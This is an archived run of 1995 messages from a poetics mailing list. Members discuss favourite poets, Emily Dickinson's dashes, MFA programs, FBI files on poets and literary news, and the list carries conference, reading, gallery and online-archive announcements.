"I sell myths not poems. With each poem goes a little myth. This myth is not in the poem. It's in my mind. And when the editors of magazines ask me for poems I make them pay for my work by passing along these little myths which I make up. These myths appear at the end of the magazine under the heading ABOUT CONTRIBUTORS or above my poems in italics. Very soon there are as many myths as there are poems and ultimately this is good because each poem does, this way, bring another poet into the world. With this secret method of defying birth controls I populate the world with poets." - A. Codrescu.

A culture's artistic productions do influence the masses and its mores etc. - thus the "myths" which surround its creator are also influential on a people. It seems trite to even try to say this today considering PBS and the NEA seem to "threaten" some Americans. But at one time poets could boast a somewhat powerful position in society. I thought the Codrescu quote also ties in nicely with Shelley's use of the symbolic Aeolian harp - wind creating music through an instrument (ie. external influences creating the impetus for artistic expression which thereby influences others).

my own top ten would probably include: D H Lawrence, Charles Bukowski, Richard Kostelanetz, Charles Bernstein, Anna Akhmatova, Bill Shields, James Magorian, Edna St. Vincent Millay, Andrei Codrescu, Edward Foster, Christian Prigent & Nuala Ni Dhomhnaill (oops that is 12)

Diane Ward

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338. Charles Alexander
Re: Top ten poems
Sun 15 Oct 1995

> *charles: abt longfellow --he never set foot in minnesota. i grew up in newton and cambridge ma, where his house was a star tourist attraction. we all learned about "grave alice and laughing allegra, and someone (edith?) with golden hair," and let's not forget the midnight ride of paul revere, or was that by someone else? and "THIS is the FORest priMEVAL, the MURmuring PINES and the HEMlocks," which is about acadia. the guy got around, in his verse anyway. i think the minneapolitan fixation on longfellow has as much to do with a wannabe east coast anglo thing as with the fact that "hiawatha" purportedly took place in MN. it's kinda of appalling --the way actual Native Americans are treated in MN vs the New England aristocratic turn of the century mythology that's been adopted as part of the city's identity and self-representation. You may be right about ee cummings. i thot abt him, but left him off.--md*

I think Minnesota's most comfortable with its literary heroes never setting foot here. I understand that next year they (I guess I should say we, if 2 years makes me a minnesotan) will get around to a grand celebration of F. Scott Fitzgerald's centenary year. He who lived in St. Paul and apparently disliked it, and the local burghers, rather intensely. I think I understand his social and economic theses better since living here. The west was just a different place. Perhaps the combination of centuries-old ruins and centuries-old active cultures in the area, being part of the life one actually notices on something close to a daily basis(in Arizona, that is), combined with the comparatively early settlement of the Spanish, makes the southwest seem mature to me in comparison with this Minnesota place. But it just may be some sense of my own foreignness here which makes me want to see it as lacking.

all best,
charles

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339. Jeffrey Timmons
Forwarded mail....
Sun 15 Oct 1995

---------- Forwarded message ----------
Date: Sun, 15 Oct 1995 21:14:03 -0600

From: Sharon Nell <[redacted]>
To: Multiple recipients of list C18-L <[redacted]>

Please find attached an announcement for a conference on French feminism. We would appreciate it very much if you could post this to other appropriate lists.

CALL FOR PAPERS
The 30th Annual Texas Tech Comparative Literature Symposium
"French Feminism Across the Disciplines"
January 30-February 1, 1997

Plenary speakers will include:

Barbara Harlow, University of Texas
Peggy Kamuf, University of Southern California
Toril Moi, Duke University
Micaela Janan, Duke University

This conference seeks to explore French feminism as it is deployed in a variety of disciplines: literary, cultural and theoretical. We will problematize French feminism as a discourse which cannot be contained by any of the normative disciplinary categories of American academia. The symposium, directed by Professors Hafid Gafaiti, Paul Allen Miller and Sharon Diane Nell, welcomes papers representing the full range of positions in this on-going debate. Abstracts of 20-minute papers should be sent to Professor Nell (Department of Classical and Modern Languages and Literatures, Texas Tech University, Box 2071, Lubbock, TX 79409-2071; internet: [redacted]; Phone: 806/[redacted]; Fax: 806/[redacted]) not later than September 30, 1996. It is hoped that a volume of the best papers resulting from the symposium will be subsequently published. Inquiries may be addressed to the directors at the departmental address listed above.

Please circulate this notice.

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340. Charles Bernstein
Emerging Generation
Sun 15 Oct 1995

Julius Erlich was born to Erica Hunt and Marty Erlich on October 10.

Jackson Hercules Hauty was born to Diane Ward and Chris Hauty on September 9. {To avoid further confusion with Buffalo's Diane Ward, who has recently posted to Poetics, this is Diane Ward of Los Angeles, author of _Never

Without One_ etc.} On the birth announcement, Diane and Chris include this quote from one of America's top 10 poets:

> I celebrate myself, and sing myself,
> And what I assume you shall assume,
> For every atom belonging to me as good belongs to you.

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341. **A. Morris**
Re: Texts about poetics "sound"
Mon 16 Oct 1995

Loss:

For ways of talking about sound, some thoughts:

1) Garrett Stewart's Reading Voices (U of California P, 1990) takes up the ways in which silent reading processes a text in a zone of response somewhere between "a merely evoked aurality and an oral vocalizing." The chapter titles--"To Hear With Eyes": Shakespeare as Proof Text, "An Earsighted View": Joyce's "Modality of the Audible," Silence Speaking Words--suggest Stewart's interest in the "phonotext" inherent in phonetic writing. He develops a vocabulary and set of procedures for a practice he calls "phonemic reading." The epilogue contains a virtuoso reading of the skywriting scene in *Mrs Dalloway"

2) Duncan's *H.D. Book* contains an amazing reading of her poem "Heat," with close attention to the tone-leading of vowels in the poem

3) Kristeva on the semiotic & Barthes on the grain of the voice

4) Nate Mackey's essay "Cante Moro" in the collection edited by Anne Waldman from Naropa: this is the one on duende which came up earlier on the net. Also *Bedouin Hornbook.*

5) Cage, of course

6) Recently I've been reading *what to listen for in jazz* by Kernfeld in order to eventually get to *Thinking in Jazz* by Berliner. Kernfeld's book is packaged with a CD, which means it has aural footnotes.

7) Stephen Feld's essay "Aesthetics as Iconicity of Style, or 'Lift-Up-Over Sounding': Getting into the Kaluli Groove" in Yearbook for Traditional Music 20 (1988): 74-113.

8) Also, as was already mentioned, Kahn and Whitehead's *Wireless Imagination* and the Radiotexte issue of *Semiotexte*

What else? I'm looking forward to hearing more.

Dee

On Wed, 11 Oct 1995, Loss Glazier wrote:

> *Can anyone recommend to me great texts on poetic sound? Sound as "material," etc. as a contemporary poetic. Any thoughts would be appreciated.*
>
> *Thanks,*
> *Loss*
> [redacted]

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342. **Aldon L. Nielsen**
Re: a death in the family
Mon 16 Oct 1995

New Yorkers on this list got the news Friday, but it's just found it's way to L.A. and my guess is that it's skipped some points in between. Henry Roth, author of _Call It Sleep_ died Friday. His publishers promise to continue with the series of novels he had already completed. For those of you who have never read _Call It Sleep_, go get a copy and sit down with it tonight. You'll be glad you did.

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343. **James Banton Rolins**
Re: Emily Dickinson-
Mon 16 Oct 1995

Many years ago a professor (I've forgotten whom) in a course I was taking explained the dashes as meaning nothing at all. She used a quill pen to write with, he explained, the sort that dried out quickly once lifted from the page. To keep the pen from doing that, she would draw it along the paper while thinking of what to write next. So the dashes mean nothing in themselves and simply indicate, at that point in the poem, that Emily was wondering what to write next.

Bart

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344. **Tenney Nathanson**
legacies of modernism
Mon 16 Oct 1995

> *I notice that Russell Jacoby does not refer*
> *to poets such as Adrienne Rich, Amiri Baraka, Allen Ginsberg--or Robert*

> *Lowell, for that matter--in his classification of "public intellectuals.*
> *It's that sense of partition that is the real legacy of aesthetic modernism.*
>
> *md*
> *Michael Davidson*

This legacy, if real, is odd (though it probably is real)--since Pound, esp., but also some of the others, thought of themselves as something like Public Intellectuals without Portfolio (though I guess Eliot had a Portfolio), and since Pound and Olson, say, share not only the didactic strain adumbrated by von Halberg but also the passion for the so-called factive. If this IS a "legacy of aesthetic modernism," though, then were poets before the moderns public intellectuals? Wordsworth and Tennyson (I guess so). Emerson, sure. But Whitman?

I'm embarrassed not to have read Bob Perelman's modernism book yet--but can he or it be drawn into this thread?

doan you tell no one I made you that table....

Tenney

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345. Tenney Nathanson
grandma Emily?
Mon 16 Oct 1995

> *Date: Sun, 15 Oct 1995 16:49:42 -0400*
> *From: Chris Stroffolino <[redacted]>*
> *Subject: Re: Emily & top ten poems*
>
> *Also, the trend that seems to be championing the gestural zaniness of*
> *Dickinson's dash, as a perloffian radical artifice or something, has*
> *to contend with the idea that for every "pomo" dash there exists a*
> *folk art "rhyme scheme"----....cs*

well not really (not at all!) Map those off-rhymes, and then the ironic use of full-rhymes to suggest a pretty terrifying closure.

"Sheep have no tact, at least that one can appreciate...."

"What's the difference between a cloud and a spanked boy?"

Tenney Nathanson

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346. Kevin Killian
FBI files
Mon 16 Oct 1995

> *Re : Black Flag Kills Poets Dead*
>
> *Has anyone's FBI file been used for such purposes? Has anyone on the list seen their FBI file?*

Dear Bill, hi, it's Kevin Killian. I wrote away to the FBI for Jack Spicer's file and it took me 18 months from beginning to end. Results, negative. I do know that FBI had a number of poets under surveillance here in San Francisco in the late 50s and have spoken to some who were interviewed by FBI. John Wieners was a special target, as were Joe Dunn and George Stanley. Lovers of conspiracy theory might ponder fate of Dunn and Wieners (wish I could get THEM to write away for their files!) and George, of course, left California for safer shores of Vancouver BC.

I had to answer the phone . . . now I'm back, and I forget, am I talking to Bill Luoma? Whoever you are, XXXX Kevin

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347. Kevin Killian
Re: Poetry in Motion (Review)
Mon 16 Oct 1995

I hear all the discussion about "Poetry in Motion" and hope that you all on the list serv also get a chance to see Ron Mann's subsequent film "TWIST"-it is a cultural history of the Twist (dance crazy of early 60's).

Hank Ballard was deprived of fame with the Twist after Dick Clark heard his version of the song and assigned one of his stooges at Cameo-Parkway (Phila. record label) to do a cover version.

Starring former back-up singer whoMrs Dick Clark named "Chubby Checker" because she thought it would be a cuter name than "Ernie."

Also, her homage to "Fats Domino." In the wake of great success of "The Twist," lots of twist-king-wannabes changed their names with varying degrees of success, including Jumbo Chess and (my favorite) Pudgy Parcheesi. Go see "Twist," you will enjoy it, except the Canadians on this list, who will feel that Ron Mann has lost some of his essential Canadianism, the quality that makes "Poetry in Motion" such a weird viewing experience.

Just a note from-Kevin

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348. **R I Caddel**

Top Ten / Bottom Ten

Mon 16 Oct 1995

Ken's right about the way in which media-poetry-events tends to expose sensitive souls like him and me to embarrassment (at best) and potential ridicule. The Niedecker don't-let-em-know approach isn't open to me, raising children in a small town ("Lottie's mum says she read one of your poems in the bookshop last week and couldn't understand it" etc), and like Ken, I'm used to yawning gaps in pub conversations on these occasions. The top ten was a continuation of an event, then, not an event in itself - but here, by way of a diversion, is my phantasy cricket team:

1. Geoffrey Chaucer
2. Basil Bunting
   - a pair of seasoned openers, to wear down any attack -
3. Thomas Wyatt
4. Jack Spicer
5. Lorine Niedecker
6. Peter Riley
   - mid-order with a range of strokes, and some amazing slip catching -
7. Kit Smart
   - how about this? a keeper who can strike out a bit -
8. Marianne Moore
   - "always include a spinner" - G.Arlott -
9. Elaine Randell
   - English seam bowling at its most accurate, with some amazing turn when the weather's overcast (which it usually is) -
10. William Carlos Williams
11. Alice Notley
    - the pace attack. OK, I've sacrificed on accuracy here in favour of awesome speed, length and height -

[12th man - Alan Halsey - very adaptable and quick in the field...]

OK - Ken, about those worst poems, I started to think about it - Amy Clampitt, John Hegley, etc - just couldn't face the selection process...

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x

x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting x x x

↑ Index

349. James Banton Rolins
Re: The Art and Poetry worlds
Mon 16 Oct 1995

Gwyn--Thanks for the explanation. Surely MFA programs (at least most, I hope) do encourage their students to raise their awareness of the possibilities of poetry beyond what has already been done. I do wonder, though, if they and the _academic_ poetry they are often charged with fostering has something to do with the differences many list members are commenting on between public acceptance of the graphic arts and poetry. I wonder how many people who consider themselves avid readers but who don't read much if any poetry written after Frost might trace their aversion to modern or postmodern poetry as a result of academic influence. Perhaps some feel that poetry has been taken away from them by the academics. Recent articles on _academic_ poetry suggest as much, particularly one published about a year ago in _The Chronicle of Higher Education_. I haven't seen much about it since, but MFA bashing seems to have had a bit of a day.

If anything I say here makes sense, I wonder why the graphic arts haven't suffered a similar fate. Have MFA programs been so much more effective at taking poetry away from the people than art departments at appropriating painting, sculpture, etc.?

Bart

↑ Index

350. Chris Stroffolino
Re: grandma Emily?
Mon 16 Oct 1995

Tenney--But the rhymes and rhythms ARE there compared to most of the poetry people on this list write (or publish)---even if ironic and "off" and, yes, terrifying (what else is new). And some people--trained in "free verse" or "blank verse" at first find her work offputting for that--and others of course find it somewhat reassuring for that--and the rhymes and rhythm does lend her work a more memorizable quality than much unrhyming work of contemporaries...I don't think the "avant- garde" Dickinson is any more real than the "mainstream" Dickinson-- I guess that's the "agenda" behind most of my postings on her.... And maybe Burt has got the best take at all--the dashes are just pauses in thought (while the ink dripped from the quill---Burt that's absolutely deliciously perverse!) And Patrick, well I guess I will meet PUDGY

PARCHESI and you someday "where the meanings, are"------ COMMA vs. DASH! chris

↑ Index

351. **Gwyn McVay**
Re: The Art and Poetry worlds
Mon 16 Oct 1995

Bart, I think one reason that graphic arts MFA programs are less often bashed than their writing counterparts is that graphic-arts programs tend to be quite strictly studio-oriented, while writing programs swing through a wide range from very *studio*-oriented to very *academic.* AWP's Guide to Writing Programs includes a brief introductory section laying out loose guidelines for what constitutes "studio" and what constitutes "academic"; these guidelines are by no means "received" and are intended mainly to help aspiring applicants decide what kind of program they want to apply to. Many programs, to justify their existence and increase the future employability of their graduates, feel compelled to include a strong academic component, through lit requirements, killer comps, whatever. But some don't, and are more like graphic-arts MFAs in their design. To me, it seems like writing MFA programs with that strong academic component are thus more open to charges that they purvey a sort of "academic" poetic. And I do think that's at least partly true.

Gwyn

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352. **Jonathan A Levin**
Re: Emily Dickinson-
Mon 16 Oct 1995

That the dashes could be pauses in thought, based on ink technology--interesting, though as a rollerball convert, I wouldn't know anything about it. But it's odd to me that this means they "mean" nothing at all--I'm not sure we could ever mean anything if we didn't pause all the time, or, more properly, some of the time. And one wants to know, why here, what's she found and what's she searching for? I wouldn't posit an absence of meaning in a pause, only to say the presence of meaning is (I guess) in the words themselves. What's appealing about this argument-from-technology is that it shows the mechanics of thought, and the mechanics of writing, as a negotiation between something like a positivist ideal of getting the meanings down in words and a negativist (?) awareness (not an ideal!) that squirming words exceed the squamous mind. Yeah, they mean "nothing" at all. Pages of illustrations. (Apologies for mixing my poets.)

Jonathan Levin
NYC

↑ Index

353. Mark Wallace
Situation #10
Mon 16 Oct 1995

Situation #10, featuring the work of Nick Piombino, Heather Fuller, Thomas Taylor, Dan Featherston, John Bennett, Sheila Murphy, Michelle Murphy, and Mark Ducharme is now avialable.

A subscription to Situation is $10 for four issues; $3 for single or back issues. All I need is a couple new subscriptions every issue to keep afloat, and I'd really appreciate your help.

Please write to Mark Wallace, Situation, 10402 Ewell Ave., Kensington, MD 20895.

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354. John Lavagnino
Re: Emily Dickinson
Mon 16 Oct 1995

The theory that Dickinson's dashes result from pauses for thought doesn't fit the nature of her manuscripts very well. They generally aren't working drafts; most of them are in booklets she put together with a lot of care for the inscription. She wasn't putting extra punctuation in by accident when she made these booklets.

Dickinson's "eccentricity" in punctuation is also not very odd if you look at other nineteenth-century manuscripts, rather than at the tidied-up versions that publishers and printers created from such manuscripts. A lot of people used dashes in abundance at the time; if Dickinson is unusual it is in how she used them, rather than in their mere presence.

John Lavagnino

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355. Edward Foster
Re: Emily & top ten poems
Mon 16 Oct 1995

---

not quite it: i meant much more than "lack of true punctuation." i was suggesting something that could not be reduced to grammar and was common

or more so anyway until schoolrooms took over. dickinson and melville were pre-horace mann. -ed

↑ Index

356. **Edward Foster**
Re: Emily & top ten poems
Mon 16 Oct 1995

---

does anybody know which grammar texts, if any, dickinson would have used at mt. holyoke? what would melville have used when he taught in pittsfield? it would be interesting to know how grammar texts then defined the use of dashes. -ed

↑ Index

357. **Edward Foster**
Re: Emily Dickinson-
Mon 16 Oct 1995

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bart: the professor's explanation sounds exactly like the sort of thing a professor might think: i.e., it means nothing at all. well, skepticism keeps students awake and makes the speaker look clever. however, dickinson was recopying the poems; furthermore (but check with susan howe on this) some of the handwriting in very brisk, quick. the words knew at that point exactly where they were going.

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358. **Kenneth Goldsmith**
Albany Reading Announcement
Mon 16 Oct 1995

---

* * * * * * * READING * * * * * * *

Hard Press Inc., publishers of lingo: A Journal Of The Arts, presents "POETRY"

Jean Donnelly
Michael Gizzzi
Lisa Jarnot
Juliana Spahr
Chris Stroffolino

will be reading from their work

And...Music By "Free Beer And Chicken"

Saturday, October 28th 3-7 pm at

Cafe Lulu
288 Lark Street
Albany NY

$5.00 tax-deductible donation at the door

Sponsored by Hard Press, Inc, publishers of lingo
PO Box 184
West Stockbridge, MA 01266
http://hardpress.com
[redacted]
[redacted] for info

==========
========== Kenneth Goldsmith
http://wfmu.org/~kennyg [redacted] [redacted]

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359. **eric pape**
Re: The Art and Poetry worlds
Mon 16 Oct 1995

Bart: Here's where I have to defend MFA programs. Though I have recently stated my concerns with the the way the workshop (which I see as something of an institution, like the classroom, the boardroom, the halls of state, etc., and so feel free to generalize away) tend to consolidate the criteria for what has to be called judgment (in much the same way that Eng. Depts. inevitably develop canons), I take exception to the claim that MFA programs have "taken poetry from the people." When did the people have poetry, Bart? Poetry, by definition, is a highly elite activity. Always has been. Sure there have been exceptional practitioners, but c'mon, when have dockworkers, or more in my world, checkers in Wal-Mart, ever really cared about Chaucer, or Ashbery? I know that MFA programs have allowed more people of color, of class, of anything, to spend a life reading and writing poetry than ever before. If anything, MFA programs have opened up literature to "the people" as you call them, in unprecedented numbers. I know that because I was one of them. If it wasn't for the academy generally, or the workshop specifically, I would now, do not doubt, be working construction or service, as are everyone I grew up with.

Yes, the workshop has produced for nearly fifty years a kind of uniform poetry, but it has nothing to do with the fact that it took poetry away from the people. In fact, it may have to do with the fact that it was trying to make poetry

more accessible, more teachable, to folks who had no access to it early. I don't think it was neccessary to do that, and I find it even condescending. But there it is. I hope, now, that we can move on. Thanks, Eric.

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360. Mark Roberts
Re: The Art and Poetry Worlds
Mon 16 Oct 1995

> *You wrote:*
>
> *so Ron (Silliman), when are you going to publish your memoirs and/or autobiography-*
>
> *The autobiography is in the words....*

Ron

is it the authorised autobiography???

mark

↑ Index

361. Tony Green
Re: Emerging Generation
Mon 16 Oct 1995

May they have a world they can live in!

Tony Green,
e-mail: [redacted]

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362. CAROLYN L. FORCHE-MATTISON
Museums of France on the web
Mon 16 Oct 1995

This arrived via another list, and I thought you would be interested...

FYI France: JOCONDE -- The museums of France are online!

The database Joconde now may be reached at http://www.culture.fr , and provides general public access to the collection records -- and a small but growing number of their accompanying images -- of more than 60 museums in France.

Joconde already can reach records of designs, prints, paintings, sculptures, photographs, and art objects, representing 130,000 works of art and 10,000 artists, and an increasing number of inline GIF images.

The search procedure is friendly and interesting: sample screen (translated) --

Iconography (subject):
Name of the artist:
City or museum:
School:
Century:
Type of work:

Other indexes include style, technique, title, inscription, subject, provenance, and "onomastique" and "mille'sime".

The interface provides the ability to limit searches to documents which are accompanied by an image, and provides for online browsing of lists of key terms. Numberic retrieval limits may be set for a) full records displayed, b) short records displayed, and c) titles displayed. There is online help, and the ability to ask questions.

What you find is description in some detail: example -- currently, a search simply on "Nom d'artiste: gauguin" will obtain a list of 42 title entries, and the same search restricted to "Limitation aux documents avec image" yields the following two records, with very nice accompanying GIF inline images which blow up very well on an America Online viewer:

1) Gauguin, Paul [link to full list of 42 JOCONDE entries maintained for his works] , "Nature Morte aux Oranges" [link to full record -- and accompanying image -- of the holdings entry for the original work], (1882 avant); Rennes; Muse'e des Beaux - Arts; peinture a` l'huile; toile; 33H, 46L; Mille'sime: 1882 avant; Repre'sentation: nature morte (vaisselle, orange fruit, couteau, bouteille); Gene`se: avec oeuvre apparentee connue;

2) Gauguin, Paul [same link to full list of JOCONDE entries for Gauguin]; "Vase de Fleurs" [same link to full holdings record, and inline image]; (1880 vers); Rennes; Muse'e des Beaux - Arts; peinture a` l'huile; toile; 19H, 27L; Mille'sime: 1880 vers; Repre'sentation: nature morte (vase, bouquet, livre, fenetre, balustrade), maison, ciel; Gene`se: avec oeuvre apparentee connue.

The full Muse'e des Beaux - Arts de Rennes holdings entry for work #1 above is:

[first -- importantly, as this is the WorldWideWeb and online media after all -- a really very beautiful inline image, and then...]

Gauguin Paul
"Nature Morte Aux Oranges"

Pre'c. auteur: PERIODE IMPRESSIONISTE
Ecole: France
Pe'riode: 4e quart 19e sie`cle
Mille'sime: 1882 avant
Domaine: Peinture
De'nomination: tableau
Repre'sentation: nature morte (vaisselle, orange fruit, couteau, bouteille)
Technique: peinture a` l'huile; toile
Dimensions (CM): 33 H; 46 L
Gene`se: avec oeuvre aparentee connue
Pre'c. gene`se: coupe de fruits tres proche, par gauguin, presentee a l'exposition l'impressionnisme, a`
Nancy, en 1938

Inscription: signe'
Pre'c. inscription: P. Gauguin (S.B.G.)
Localisation: Rennes; Muse'e des Beaux-Arts
Statut juridique: Proprie'te' de l'Etat; Muse'e du Louvre Peintures
Inventaire: D 55.5.1; RF 2766
Lieu en de'po^t: en de'po^t; Rennes; Muse'e des Beaux-Arts
Date de de'po^t: 1955
Ancien de'po^t: Muse'e du Luxembourg
Appartenances: Chaplet (1929)
Exposition: 1882 Paris; 7e Exposition Impresioniste, Paris, 1882
Bibliographie: Cogniat, L'Oeuvre de P. Gauguin, 1966
Photo: Cliche' muse'e
Date syste`me: 1990/05/28
Re'fe'rence: 00000074658
Copyright: (C) Copyright Direction des Muse'es de France, 1986

There is an astonishing richness here: not only of images and information and access points and indexing, but also of openness to the general public and overall effort. I am aware of a few extraordinary efforts under way in other countries to organize and mount such a service, but of none so advanced yet as this of the French.

Where are the multimedia presentations, featuring text and sound and links, all the accompaniment which a good cdrom on the subject might have? One suspects that all this is not far behind. In the meantime a user has all the advantages of online over cdrom -- currency, greater availability (Joconde, the online service, may be reached from anywhere -- in airplanes now -- at any time, regardless of whether you've brought your cdrom drive along), constant

updating of data and system features -- Joconde is a work - in - progress, and will grow as France's extraordinary effort in online media grows.

Some of us may remember Andre' Malraux: "... And if, after so many years of oblivion, we hear the song that follows after a plainsong of a crusade or a chant of the Ramayana, it is not because the historians have restored the text to us, or because we have rediscovered the faith of the twelfth century or of the age of the Vedas; it is because we admire them in the company of the statues of Sumer and of the Indian grottoes, of the Acropolis and of the tombs of Florence -- in the company of all the statues of the earth. It is the song of metamorphosis, and no one before us has heard it -- the song in which esthetics, dreams, and even religions are no longer more than librettos to an inexhaustible music."

FYIFrance e - newsletter ISSN 1071 - 5916

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363. **Maria Damon**

Re: The Art and Poetry worlds

Mon 16 Oct 1995

---

gwyn writes:

To me, it seems like writing MFA programs with that strong academic component are thus more open to charges that they purvey a sort of "academic" poetic. And I do think that's at least partly true.

Gwyn

i've got to say, quite the contrary, in my observation. since most literature departments are tending toward "theory" these days, and most contemporary theory attacks the tenets of what is generally called "academic poetry," those

MFA programs that resist theory in favor of practice more often uphold --unconsciously, since they believe their values are "timeless" --an earlier, outmoded academicism. It's my belief, and i could be wrong, that if mfa students read more benjamin and foucault they'd be likely to write more adventurously than if they restricted their reading to, say, robert lowell and anne sexton. granted, this is based on anecdotal and personal observation, which is limited to the institutions i inhabit. apologies to those of you to whom this is unfair and whom it doesn't characterize.--md

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364. **Maria Damon**
Re: FBI files
Mon 16 Oct 1995

KKillian writes: I do know that FBI had a number of poets under surveillance here in San Francisco in the late 50s and have spoken to some who were interviewed by FBI.

Anybody know anything about Kaufman and FBI files? I sent away for them many years ago, and never heard anything. But then I also sent away to Bellevue for info on his famous shock treatments and never heard anything from them either. So either these folks aren't talking or the shock treatments are just another legend. My next step is to write to the National Seamen's Union Archives to find out about that activist aspect of Kaufman's career. maybe it's all just imaginary!--md

↑ Index

365. **Maria Damon**
Re: a death in the family
Mon 16 Oct 1995

---

aldon, thanks for the news on henry roth. call it sleep was a formative book for me.--md

↑ Index

366. **Maria Damon**
Re: Top ten poems
Mon 16 Oct 1995

---

charles, about minnesota authors: yes, bob dylan hated it here too. when the town of hibbing asked him to buy his childhood home and donate it to the city as an historical site, he would have no part of it. but MN's are quite naive

about this, it seems, and have no sense of why someone might not think the place is eden.--md

↑ Index

367. **James Banton Rolins**
Re: The Art and Poetry worlds
Mon 16 Oct 1995

Gwyn--Thanks again. More later.

Bart

↑ Index

368. **Jeffrey Timmons**
Colonialism
Mon 16 Oct 1995

Hey, I recall a mention of, perhaps, a student of Edward Said's who recently came out with a study (a dissertation? a book?) detailing how the formation of the English canon was a development linked closely to the inculcation of Englishness into Indian culture. Who mentioned this? Who was this? Or was it said? Where? Any responses would be helpful.

Thanks,

Jeffrey Timmons

↑ Index

369. **Kenneth Sherwood**
Reception : and the top Ten
Mon 16 Oct 1995

"Our problem so often seems to be that while we persist in producing texts as opaque or offensive as modernist texts (its a measure of their criticality) we take no pleasure, feel no glee, no superiority, when they get the same reception. " W. Curnow

While tending toward the self-abusive, the possibility that poetry's 'marginal' cultural space is a design flaw seems worth thinking about. Two easy 'eithers' follow: 1) poetry could mainstream itself by changing its devices, getting the old shoes polished and the suit pressed (viz: MTV and GAP appropriations, some would argue; though here opacity and disjunction are re-framed, made familiar) or, 2) learn to value an inevitably unappreciated cultural position.

Both 'either's seem to me stuck within the conception (though surely almost all would deny) that implicitly mainstream/visibility/ popularity are aims. To argue

otherwise is NOT to stake down an elitest or disengaged tent party, not necessarily.

Even an avowedly political or revolutionary poetry might
aim to engage a 'local' (in capital logic: marginal)
audience, and think this sufficient, even preferable to
Global reception. In some circles Seamus Heaney's latest laurel
taints him, no?

Ken Sherwood

↑ Index

370. Ron Silliman
Kaufmania
Mon 16 Oct 1995

>Anybody know anything about Kaufman and FBI files? I sent away for
them many years ago, and never heard anything. But then I also sent
away to Bellevue for info on his famous shock treatments and never
heard anything from them either. So either these folks aren't talking
or the shock treatments are just another legend. My next step is to
write to the National Seamens Union Archives to find out about that
activist aspect of Kaufman's career. maybe it's all just
imaginary!--md
>
Doctor-Patient confidentiality makes it hard to get that sort of
information without the request from Kaufman's family. In the 70s and
early 80s, there were active anti-electroconvulsive therapy movements
in California and elsewhere (the Network Against Psychiatric Assault in
SF being one of the better known). They might know how to get this sort
of info and some of their activists (e.g., Wade Hudson who may be in
the SF phone book) could steer you in the right direction.

Stephen Schwartz, the neocon writer for the SF Chronicle, was an active
participant of the National Seamens Union before he discovered the joys of
capital, and must certainly have known Kaufman (Schwartz was a poet for 20
years or so). He would be a logical place to start on that track.

Writing from my laptop in New Orleans,
Ron Silliman

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371. Marshall H. Reese
video/book installation
Tue 17 Oct 1995

CristineRose Gallery Contact: Mariacristina Parravicini 395 West Broadway tel. [redacted] New York, NY 10012 Nora Ligorano/Marshall Reese For Immediate Release tel. [redacted]

Dates: October 21-November 22, 1995

The Corona Palimpsest

"If you burn a book, it opens unto absence in the flame. If you drown it, it unfolds with the wave. If you bury it, it quenches the thirst of the desert..."
-- Edmond Jabes

Ligorano/Reese are creating a new installation on view at CristineRose Gallery in Soho called The Corona Palimpsest. This installation, along with other video installations and limited edition works by Ligorano/Reese question the changing roles of the book, electronic information, and television.

Their new work is about hidden vestiges and the markings that remain. A palimpsest, by definition, is a tablet or parchment that has been erased and used over, leaving traces of the old text under the new. The Corona Palimpsest at CristineRose is a room-size installation featuring two handbound volumes. In one, there are over 300 hand- painted pages composed of images from the spectacular coverage of the Gulf war to Warlpiri cave paintings. Media images, air-brushed stencils, rubbings and silhouettes of newspaper and magazine photos spill over this book's pages. The other volume is a blank, burned book, apparently empty, yet also, a complete text that stands as a testiment to degradation and destruction.

Both volumes contain video monitors in their centers. These liquid crystal display (LCD) monitors show, in the painted book, a magical text. On this video screen, the reader sees an electronic poem composed of digitally manipulated fragments. Texts by Gertrude Stein, H.D., Frida Kahlo, William Burroughs, Gerrit Lansing, Ezra Pound, Robert Creeley, J.G. Ballard, and others have been used. The blank book, suspended by chains from the walls and ceiling, shows computer-enhanced faces that peer out from the video in its center. At CristineRose, this book looks over The Corona Palimpsest and its readers, projecting an eerie range of intentions -- beatification, vigilence, surveillance. The viewer is confronted not only by two different representations of the book, but also by the fact that to see them they must walk over 600 trade hardbacks. These form a carpet on the floor to make up a black and white grid. This carpet, in essence, presents a dilemma but it also suggests volume and measure.

Ligorano/Reese's new installation is about the continuity of culture and language, when contemporary society seems to strive for their disruption. It commemorates the making of the book into a theoretical abstraction charted by such writers as Stephane Mallarme, Edmond Jabes, and Robert Duncan. It acknowleges that today, the book has become a concept that attracts metaphors and tropes like a divining rod. As a "power book," it symbolizes the concept of possibility with an infinite magnitude of importance. As a volume of pages, the book consolidates auratic significance and provenance.

The installation at CristineRose is about this displacement. Whether one considers the book an historical object, or not, the artists embellish on the book's role, while at the same time, they negate it. In a very real way, they have displaced text and image. They have created books containing texts without words. As books, the volumes of The Corona Palimpsest are static. In a gallery, no one will manipulate their pages; only the video moves. The book as a carrier of information has been converted into an artifact, a relic. Ligorano/Reese point to a rapidly approaching future, when the role of the book will be further changed, perhaps even diminished, in our culture.

Granary Books (568 Broadway, New York, NY 10012) will publish a limited edition of The Corona Palimpsest in spring 1996.

If any poetics listserv subscribers are in NYC over the dates of the show, we hope you can see it...

Ligorano/Reese

↑ Index

372. **eric pape**
Re: Colonialism
Tue 17 Oct 1995

Me maybe? The book:Viswanathan, Gauri. _Masks of Conquest: Literary Study and British Rule in India_. Columbia Univ. P., 1989. (I don't backchannel in case anyone else is interested -- very provacative sic?: stuff.) Thanks, Eric.

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373. **Wendy Battin**
New Site for CAPA
Tue 17 Oct 1995

Attn.: New CAPA Site

CAPA, the Contemporary American Poetry Archive, has just moved to a new site on the World Wide Web. The old gopher site is no longer current and can't be maintained. Point your browsers to

http://camel.conncoll.edu/library/CAPA/capa.html

to find us. Books are still being transferred, & o.p. poetry books of all styles and persuasions are welcome.

For those who don't know CAPA:

CAPA: the Contemporary American Poetry Archive
An Internet Archive for Out-of Print Books

CAPA is an electronic archive designed to make out-of-print volumes of poetry available to readers, scholars, and researchers. The books are stored as individual text-only files accessible via the World Wide Web on the Internet.

Poets or their executors who hold copyright to books may place them in the archive free of charge; once a volume is archived, it may be read on-screen, searched electronically, or downloaded freely. However, the author retains copyright and must be compensated if multiple copies are made (e.g., for use in the classroom). When the author receives an offer to reprint the book, we will withdraw it from the archive and post a publication notice in its place.

Books from commercial, university, and small presses are eligible for archiving; self-published and vanity press books cannot be considered. For further information and guidelines, contact

Wendy Battin, Director
CAPA
15 Rogers Drive, Mystic, CT 06355
